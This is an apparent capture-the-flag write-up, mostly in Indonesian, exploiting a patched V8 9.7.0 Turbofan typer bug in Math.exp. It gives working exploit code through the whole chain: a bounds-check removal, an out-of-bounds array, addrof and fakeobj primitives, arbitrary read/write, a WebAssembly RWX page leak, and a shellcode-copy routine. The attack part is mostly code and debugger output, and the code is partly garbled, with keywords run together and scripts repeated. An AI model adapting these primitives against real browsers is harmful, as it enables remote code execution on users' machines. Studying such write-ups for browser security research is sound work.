diff --git a/src/compiler/js-create-lowering.cc b/src/compiler/js-create-lowering.cc index 50a523c606..0b46267c4f 100644 --- a/src/compiler/js-create-lowering.cc +++ b/src/compiler/js-create-lowering.cc @@ -683,9 +683,6 @@ Reduction JSCreateLowering::ReduceJSCreateArray(Node* node) { length_type.Max() <= kElementLoopUnrollLimit && length_type.Min() == length_type.Max()) { int capacity = static_cast<int>(length_type.Max()); - // Replace length with a constant in order to protect against a potential - // typer bug leading to length > capacity. - length = jsgraph()->Constant(capacity); return ReduceNewArray(node, length, capacity, *initial_map, elements_kind, allocation, slack_tracking_prediction); } diff --git a/src/compiler/operation-typer.cc b/src/compiler/operation-typer.cc index e7dc51bd2d..121a7a7107 100644 --- a/src/compiler/operation-typer.cc +++ b/src/compiler/operation-typer.cc @@ -411,7 +411,7 @@ Type OperationTyper::NumberCosh(Type type) { Type OperationTyper::NumberExp(Type type) { DCHECK(type.Is(Type::Number())); - return Type::Union(Type::PlainNumber(), Type::NaN(), zone()); + return Type::PlainNumber(); } Type OperationTyper::NumberExpm1(Type type) {
Disini saya jelasin sedikit maksud patch diatas:
Line 1 code tersebut patching file src/compiler/js-create-lowring.cc untuk code yang di patch bisa dilihat pada line 9-11 3 baris code di deleted.
Line selanjutnya patching file src/compiler/operation-typer.cc untuk code yang di patch bisa dilihat pada line 23 dan 24.
Can u guys see the bug?
Sebelum patch typer set
Math.exp to be Union(Type::PlainNumber(), Type::NaN(), zone()) ini berarti output dari Math.exp adalah PlainNumber atau NaN.
Nah setelah patch, kita bisa lihat pada line 24. Typer set Math.exp to be PlainNumber(); ini berarti output dari Math.exp akan menjadi PlainNumber.
Nah dari tadi kita selalu nyebut typer typer, apa sih itu?
Jadi, Modern JS engine seperti v8 melakukan kompilasi just-in-time (JIT) dari kode JS.
Hal ini dilakukan untuk mempercepat eksekusi dari JS. Nah loh bingung, untuk lengkapnya ada di sini. Jadi intinya v8 akan memanggil Turbofan JIT Compiler jika kita melakukan loop dalam jumlah banyak. Lets try
Trigger the Bug
Langsung saja dari hint yang diberikan kita coba dulu, seperti ini.
1 2 3 4 5
functionfoo() { let v = Object.is(Math.exp(NaN), NaN); return v; } console.log(foo()); //true
Nah karena penjelasan sebelumnya, Turbofan akan terpanggil jika kita melakukan loop yang banyak.
1 2 3 4 5 6 7 8 9 10 11
functionfoo() { let v = Object.is(Math.exp(NaN), NaN); return v; }
console.log(foo()); //true for (var i = 0; i < 100000; i++) { foo(); } console.log("Result will be false now"); console.log(foo()); //false
See? kita berhasil trigger bug, kenapa bisa jadi false? karena saat Turbofan melakukan compiler, v8 akan melakukan optimasi pipeline. Nah loh bingung, intinya v8 akan menjalankan source code dari src/compiler/operation-typer.cc Ada perubahan pada source code tersebut saat kita melakukan patching tadi.
Nah next kalian bisa lakukan command ./d8 exploit.js --trace-turbo, nanti akan ada file bernama turbo-foo-x.json
Next tinggal buka website turbolizer CTRL+L untuk dan pilih file json kalian, jangan lupa baca info yang lain di menu sebelah kiri biar lebih paham.
Tampilan awal kalian akan seperti ini.
Nah ikutan dah tuh sesuai tanda panah, sebenernya gak harus milih mode TFTyper, tapi untuk debug typer bug pada chall ini saya lebih mudah lihat dengan itu.
Jangan lupa klik symbol T yang diatas, dan aktifkan semua node yang putih2.
Cara aktifinnya bisa tekan a ini akan select semua nodes, selanjutnya tinggal tekan shift+1-9.
Lalu tekan r untuk reload biar tampilannya jadi lebih kece anjay XD. Kurang lebih seperti ini nanti.
Kita bisa lihat terdapat node NumberExp disitu dan resultnya adalah PlainNumber yang seharusnya result aslinya adalah NaN. Selanjutnya, bagaimana kita manfaatkan bug ini hingga bisa dapat shell?.
Proceed the Bug
Sebenarnya banyak writeup tentang v8 typer bug yang bisa kalian cari di google.
Salah satunya CVE-2020-6383. Dari semua writeup typer bug yang ada, goals nya adalah memanfaatkan typer bug ini agar bisa mentrigger OOB.
Writeup diatas sedikit mirip dengan chall ini, jadi intinya kita memanfaatkan typer bug untuk membuat nilai di Turbolizer dengan nilai sesungguhnya berbeda agar bisa mentrigger OOB.
Biar lebih kebayang contohnya seperti ini.
1 2 3 4 5 6 7 8 9 10 11 12
functionfoo() { let a = {x: Infinity}; let v = Math.exp(Infinity-a.x); v >>= 1; return v; }
console.log(foo()); for (var i = 0; i < 100000; i++) { foo(); } console.log(foo()); //0
Jalankan dengan --trace-turbo lalu buka di turbolizer. Hasilnya seperti ini
Kita bisa lihat pada gambar diatas, saat nilai v yang awalnya NaN lalu kita shift left sekali v >>= 1, Result di Turbolizer menunjukkan Range(-1073741824, 1073741823) yang artinya result v >>= 1 bisa bernilai -1073741824 s/d 1073741823, dan result yang sebenarnya muncul adalah 0.
Nah karena 0 masih termasuk dari range -1073741824 - 1073741823, artinya kita belum berhasil menipu si Turbolizernya.
Nah bagaimana caranya? agar nilai yang sesungguhnya itu berbeda dengan dengan nilai dari Turbolizer?
Hasil dari Math.exp(NaN) adalah PlainNumber yang artinya bisa bernilai Range(-Inf, Inf), namun saat kita shift left sekali, Hasilnya adalah Range(-1073741824, 1073741823).
Maka kita bisa beri asumsi nilai Math.exp(NaN),
saat bug telah di trigger adalah Range(-2147483648, 2147483647). Ini hanya asumsi sementara, goals kita adalah membuat nilai di Turbolizer itu kecil sedangkan nilai yang sebenarnya (nilai yang muncul saat di print) itu besar, sehingga saat kita bisa mentrigger OOB.
Oke coba kita lihat source dari src/compiler/operation-typer.cc untuk melihat apakah ada fungsi Math yang bisa kita gunakan.
Disini saya menemukan fungsi NumberSign() atau di JS itu Math.sign().
TypeOperationTyper::NumberSign(Type type) { DCHECK(type.Is(Type::Number())); if (type.Is(cache_->kZeroish)) return type; bool maybe_minuszero = type.Maybe(Type::MinusZero()); bool maybe_nan = type.Maybe(Type::NaN()); type = Type::Intersect(type, Type::PlainNumber(), zone()); if (type.IsNone()) { // Do nothing. } elseif (type.Max() < 0.0) { type = cache_->kSingletonMinusOne; } elseif (type.Max() <= 0.0) { type = cache_->kMinusOneOrZero; } elseif (type.Min() > 0.0) { type = cache_->kSingletonOne; } elseif (type.Min() >= 0.0) { type = cache_->kZeroOrOne; } else { type = Type::Range(-1.0, 1.0, zone()); } if (maybe_minuszero) type = Type::Union(type, Type::MinusZero(), zone()); if (maybe_nan) type = Type::Union(type, Type::NaN(), zone()); DCHECK(!type.IsNone()); return type; }
Jika kita lihat pada source code dari Math.sign diatas, hasil type dari Math.exp(NaN) adalah PlainNumber. Nah source code diatas akan melakukan check pada type.Max() & type.Min() dan hasil type dari Math.exp(NaN) tidak memenuhi itu semua sehingga saat kita lakukan
1 2
v = Math.exp(NaN); v = Math.sign(v);
v akan bernilai Range(-1.0, 1.0) pada turbolizer, untuk dokumentasi bisa lihat di SINI.
1 2 3 4 5 6 7 8
Math.sign(3); // 1 Math.sign(-3); // -1 Math.sign('-3'); // -1 Math.sign(0); // 0 Math.sign(-0); // -0 Math.sign(NaN); // NaN Math.sign('foo'); // NaN Math.sign(); // NaN
Alright, saat nya kita coba kepada script kita, lalu coba kita debug pada turbolizer.
1 2 3 4 5 6 7 8 9 10 11
functionfoo() { let a = {x: Infinity}; let v = Math.exp(Infinity-a.x); v = Math.sign(v); return v; } console.log(foo()); //true for (var i = 0; i < 100000; i++) { foo(); } console.log(foo()); //-2147483648
Hasilnya seperti ini.
Boom! saat Number.sign(v) nilai di turbolizer adalah Range(-1, 1) sedangkan nilai saat di print adalah -2147483648.
Dengan ini kita sudah setengah jalan, selanjutnya kita bisa ikuti CVE-2020-6383 agar Range() di Turbolizer sama nilainya dengan writeup itu.
Maka Script kita seperti ini
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
functionfoo() { let a = {x: Infinity}; let v = Math.exp(Infinity-a.x); //PlainNumber v = Math.sign(v); //Range(-1, 1) v = Math.abs(v); //Range(0, 1) | Real = -2147483648 v += 2; //Range(2, 3) | Real = -2147483646 v >>= 1; //Range(1, 1) | Real = -1073741823 v += 10; //Range(11, 11) | Real = -1073741813 var arr = newArray(v); //Array(11) | Real = -1073741813 arr[0] = 1.1; return arr; }
console.log(foo()); //true for (var i = 0; i < 100000; i++) { foo(); } var arr = foo(); console.log(arr[12]);
BOOM OOB TRIGGER Saat kita membuat Array, size array yang terbuat di Turbolizer adalah 11, namun karena nilai sesungguhnya itu -1073741813, maka OOB berahsil kita Trigger.
OOB
Sayangnya perjalanan kita tidak sampai di situ saja heheh, untuk referensi OOB bisa lihat di sini. Nah sayangnya OOB yang dijelaskan di blognya faith adalah v8 versi lama, sedangkan v8 yang kita gunakan adalah versi 9.7.0.
var wasm_code = newUint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]) var wasm_mod = newWebAssembly.Module(wasm_code); var wasm_instance = newWebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main;
var buf = newArrayBuffer(8); var f64_buf = newFloat64Array(buf); var u64_buf = newUint32Array(buf); let buf2 = newArrayBuffer(0x150);
functionfoo() { let a = {x: Infinity}; let v = Math.exp(Infinity-a.x); v = Math.sign(v); v = Math.abs(v); v += 2; v >>= 1; v += 10; var arr = newArray(v); arr[0] = 1.1; return arr; }
for (let i = 0; i < 100000; i++) foo(); var oob = foo();
Disini saya tidak akan menjelaskan secara detail setiap fungsi2nya karena kalian bisa baca di blognya faith diatas.
Mungkin saya akan jelaskan cukup detail masalah OOB ini. Saya sarankan juga untuk build v8 versi debugnya, untuk cara buildnya hampir sama seperti v8 release, tinggal mengganti release dengan debug.
1 2
$ ./tools/dev/v8gen.py x64.debug $ ninja -C ./out.gn/x64.debug # Debug version
Oke pertama-tama mari kita bedah struktur array pada v8
Nah loh bingung lagi banyak bener isinya, yang perlu kita lihat adalah JSArray dan Map, perlu diingat karena v8 menggunakan tag pointer, intinya kita harus mengurangi 1 bytes untuk melihat isi addressnya.
0x0800222d082c3ae1 adalah Map dari JSArray dan 0x0000000408105ab1 adlah Pointer ke value dari JSArray
Perlu diperhatikan untuk pointer value dari JSArray yang perlu kita ambil hanyalah 4 bytes belakang saja yaitu 0x08105ab1 ini sedikit berbeda dengan v8 versi lama, karena ada perubaha tentang tag pointer di v8 versi terbaru. Nah untuk angka depannya itu sama sesuai dengan address heap yang kita dapatkan jika digabung menjadi 0x2cea08105ac0.
Jadi sederhananya jika kita mau print a[0], maka akan memanggil pointer dari JSArray+7 atau 0x0000000408105ab1+7. Semoga sampai sini kebayang lah ya.
Oke next untuk penjalasan dari Map pada v8, kalian bisa baca pada blognya faith, saya akan langsung masuk ke contoh saja.
Jadi disini kita bisa melakukan overwrite Map dari JSArray yang kita punya untuk melakukan leak. Bagaimana caranya?
Oh ya jangan lupa jika ingin trigger OOB harus pada versi release jangan debug ya.
Sekali lagi saya ingatkan, yang kita perhatikan disini adalah 4 bytes belakang, karena tag pointer dari v8, oleh karena itu, saat kita %DebugPrint(obj) kita mendapatkan value 0x1d0e08282241, namun saat kita debug manual kita dapat value 0x08203b3108282241, tetapi 4 bytes belakangnya sama yaitu 08282241 maka yang kita gunakan adalah value ini.
Nah dari yang kita lihat diatas, Map dari obj_arr atau Array of object. Index 0 dari float array biasa, adalah float value, sedangkan index 0 dari Array of object adalah value address dari obj itu sendiri. Namun saat kita call obj_arr[0], itu bukan print address dari obj namun akan print {A: 1.1}.
Nah bagaimana jika kita overwrite Map dari obj_arr ke Map dari float array?.
Benar, saat kita akses obj_arr[0] hasilnya bukan print {A: 1.1} namun akan print value address dari obj itu sendiri.
Lets see how it works. Pertama-tama kita buat inisialisasi variable2 yang kita butuhkan terlebih dahulu.
functionfoo() { let a = {x: Infinity}; let v = Math.exp(Infinity-a.x); v = Math.sign(v); v = Math.abs(v); v += 2; v >>= 1; v += 10; var arr = newArray(v); arr[0] = 1.1; return arr; }
for (let i = 0; i < 100000; i++) foo();
var oob = foo(); var obj = {"A":1.1}; var obj_arr = [obj]; var float_arr = [1.1, 1.2, 1.3, 1.4];
pwndbg> run --allow-natives-syntax --shell test.js Startingprogram: /home/linuz/Desktop/CSI/BrowserEXP/Modern/pwn_modern_typer/v8/out.gn/x64.release/d8 --allow-natives-syntax --shell test.js ERROR: Could not find ELF base! [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". V8 version 9.7.0 (candidate) d8> %DebugPrint(float_arr); 0x0c4308282159 <JSArray[4]> [1.1, 1.2, 1.3, 1.4] d8> %DebugPrint(obj); 0x0c4308282139 <Object map = 0xc4308205cc9> {A: 1.1}
Nah kita overwrite value 0x0800222d08203b31 menjadi 0x8203ae1, sehingga saat kita call obj_arr[0], akan print value address dari obj itu sendiri. Caranya seperti ini.
d8> let res = obj_arr[0]; //sekarang obj_arr[0] merupakan value dari address obj itu sendiri undefined d8> oob[21] = itof(obj_arr_map << 32n); //kita kembalikan value obj_arr_map ke semula 1.5361900865954554e-269 d8> "0x"+(ftoi(res) & 0xffffffffn).toString(16); //value res "0x80f4e29" d8> %DebugPrint(obj) //value obj 0x0555080f4e29 <Object map = 0x55508205cc9> {A: 1.1} d8>
Boom! dengan ini kita bisa mendapatkan value dari address yang kita buat.
Inilah yang kita namakan addrof primitive selanjutnya kita buat fungsi fakeobj tinggal balik saja.
functionfoo() { let a = {x: Infinity}; let v = Math.exp(Infinity-a.x); v = Math.sign(v); v = Math.abs(v); v += 2; v >>= 1; v += 10; var arr = newArray(v); arr[0] = 1.1; return arr; }
for (let i = 0; i < 100000; i++) foo();
var oob = foo(); var obj = {"A":1.1}; var obj_arr = [obj]; var float_arr = [1.1, 1.2, 1.3, 1.4]; var float_arr_map = ftoi(oob[31]) & 0xffffffffn; var obj_arr_map = ((ftoi(oob[21]) >> 32n)); console.log("Float_arr_map: 0x"+float_arr_map.toString(16)); console.log("Obj_arr_map: 0x"+obj_arr_map.toString(16));
Pastikan kalian run melalui script, karena kalau kalian running addrof dan fakeobj primitive di v8 nya langsung, akan terdapat sedikit error, sehingga hasilnya menjadi salah.
Nah lihat yang saya tandain bintang, kita akan menaruh fake object kita disana (0x342a0834ebc8), value ini bisa kita dapatkan dari addrof(arr2)+0x20n. Jika kita sudah menaruh fake object di 0x342a0834ebc8 maka kita bisa mengontrol value di 0x342a0834ebd0 atau index ke-1 dari arr2.
Nah jika kalian lihat pada 0x342a0834eba8 disitu terdapat Map dari Arr2(0x0800222d08042118) dan selanjutnya pada 0x342a0834ebb0 terdapat pointer ke value dari Arr2 yaitu 0x000000080834ebc1. Untuk isi valuenya terdapat pada 0x000000080834ebc1+7, Nah bagaimana jika kita ubah value dari arr2[1] menjadi address yang ingin kita leak?
Misalnya kita ingin leak address dari 0x342a0834eba8 maka kita hanya perlu ambil 4 bytes belakangnya dan sesuaikan dengan format dari pointer of value yaitu 0x08xxxxxxxx.
Final payload menjadi 0x080834eba8-7. Lets try, pertama2 kita put fakeobj terlebih dahulu di script
See dengan ini kita bisa leak address apapun yang terdapat pada heap dari v8. Untuk ARW pun sama kita tinggal lakukan fake[0] = value maka fakeobj yang kita lakukan akan mengoverwrite address dari 0x19c808095208.
Alright dengan ini kita bisa bikin fungsi seperti ini.
ALRIGHT FINAL STEP! HERE GO!. Kita sudah bisa Arbitary Read/Write, selanjutnya kita akan melakukan leak address dari wasm pada v8 itu sendiri. Agar kita bisa mendapatkan address RWX pada v8, kita bisa menggunakan WebAssembly. Scriptnya seperti ini.
1 2 3 4
var wasm_code = newUint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]) var wasm_mod = newWebAssembly.Module(wasm_code); var wasm_instance = newWebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main;
Script ini akan membuat address RWX pada v8, hal yang perlu kita lakukan adalah leak address tersebut. Oke pertama2 kita run terlebih dahulu script tadi melalui gdb.
Bisa kita lihat terdapat address rwx, nah bagaimana kita leak nya?, address tersebut terdapat didalam wasm_instance
var test_addr = addrof(wasm_instance)+0x60n; var rwx_page_addr = ftoi(arb_read(test_addr)); console.log("ADDRESS RWX: 0x"+(rwx_page_addr).toString(16));
pwndbg> run --allow-natives-syntax --shell test.js Startingprogram: /home/linuz/Desktop/CSI/BrowserEXP/Modern/pwn_modern_typer/v8/out.gn/x64.release/d8 --allow-natives-syntax --shell test.js ERROR: Could not find ELF base! [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Float_arr_map: 0x8203ae1 Obj_arr_map: 0x8203b31 Arr2: 0x82f0989 0x2460082f0989 <JSArray[4]> ADDRESSRWX: 0x3ef1edc31000 V8 version 9.7.0 (candidate)
Kita check di vmmap
BOOM!!! Kita berhasil leak address dari RWX, selanjutnya tinggal write shellcode kedalam situ. Gimana caranya? Bisa pakai fungsi ini
1 2 3 4 5 6 7 8 9 10
functioncopy_shellcode(addr2, shellcode) { let dataview = newDataView(buf2); let buf_addr = addrof(buf2); let backing_store_addr = buf_addr + 0x14n+0x8n; //%DebugPrint(backing_store_addr); arb_write(backing_store_addr, addr2); for (let i = 0; i < shellcode.length; i++) { dataview.setUint32(4*i, shellcode[i], true); } }
Saya tidak akan menjelaskan secara detail fungsi tersebut seperti apa, karena kita tinggal copas saja dari CVE yang ada digithub contohnya ini. Hal yang beda hanyalah offset dari backing_store_addr tinggal debug saja di GDB, semangat!
Ohya karena payload shellcode di v8 berbeda, maka saya buat script python untuk generate payload seperti berikut
var wasm_code = newUint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]) var wasm_mod = newWebAssembly.Module(wasm_code); var wasm_instance = newWebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main;
var buf = newArrayBuffer(8); var f64_buf = newFloat64Array(buf); var u64_buf = newUint32Array(buf); let buf2 = newArrayBuffer(0x150);
functionfoo() { let a = {x: Infinity}; let v = Math.exp(Infinity-a.x); v = Math.sign(v); v = Math.abs(v); v += 2; v >>= 1; v += 10; var arr = newArray(v); arr[0] = 1.1; return arr; }
for (let i = 0; i < 100000; i++) foo();
var oob = foo(); var obj = {"A":1.1}; var obj_arr = [obj]; var float_arr = [1.1, 1.2, 1.3, 1.4]; var float_arr_map = ftoi(oob[31]) & 0xffffffffn; var obj_arr_map = ((ftoi(oob[21]) >> 32n)); console.log("Float_arr_map: 0x"+float_arr_map.toString(16)); console.log("Obj_arr_map: 0x"+obj_arr_map.toString(16));